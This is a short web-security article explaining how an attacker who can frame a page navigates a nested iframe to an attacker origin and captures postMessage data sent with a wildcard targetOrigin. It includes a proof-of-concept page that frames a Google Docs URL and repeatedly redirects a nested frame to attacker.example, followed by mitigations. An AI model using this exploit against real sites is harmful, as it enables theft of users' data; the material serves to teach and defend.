Stealing postMessage Data by Navigating an Iframe
Navigating Child Frames
Suppose an attacker can frame a page that is not protected by X-Frame-Options or CSP frame-ancestors, and that page contains a nested iframe. Cross-origin scripts cannot read the nested document, but browser cross-origin interfaces expose limited Window and Location access: window.frames can be read and a referenced window’s location can be written.[1]
This behavior can become a data-exposure primitive when the nested document receives sensitive data through postMessage(..., "*"). If the attacker navigates the intended receiving frame to an attacker-controlled origin before the message is sent, the wildcard targetOrigin allows the replacement document to receive the message. Both MDN and OWASP recommend specifying the exact expected origin rather than * whenever possible.[2][3]
The same underlying race can involve a child, parent, or opener window when the attacker retains a window reference and the browser permits that particular cross-origin navigation. The critical conditions are control of the navigation timing and a sender that uses a wildcard or otherwise incorrect targetOrigin.[1][2]
The following proof-of-concept structure is adapted from a Google VRP write-up. Frame indexes and navigation permissions vary with the document tree and browser behavior, so inspect the actual hierarchy rather than copying the indexes blindly.[4]
<!doctype html>
<html lang="en">
<body>
<iframe src="https://docs.google.com/document/ID"></iframe>
<script>
setTimeout(() => {
// Retry because the nested frame may be created asynchronously.
setInterval(() => {
window.frames[0].frames[0].frames[2].location =
"https://attacker.example/exploit.html"
}, 100)
}, 6000)
</script>
</body>
</html>
Mitigation
- Send sensitive messages only with an exact
targetOrigin. - On receipt, validate both
event.originand, where appropriate,event.source. - Prevent unauthorized framing with CSP
frame-ancestors(andX-Frame-Optionsfor legacy compatibility).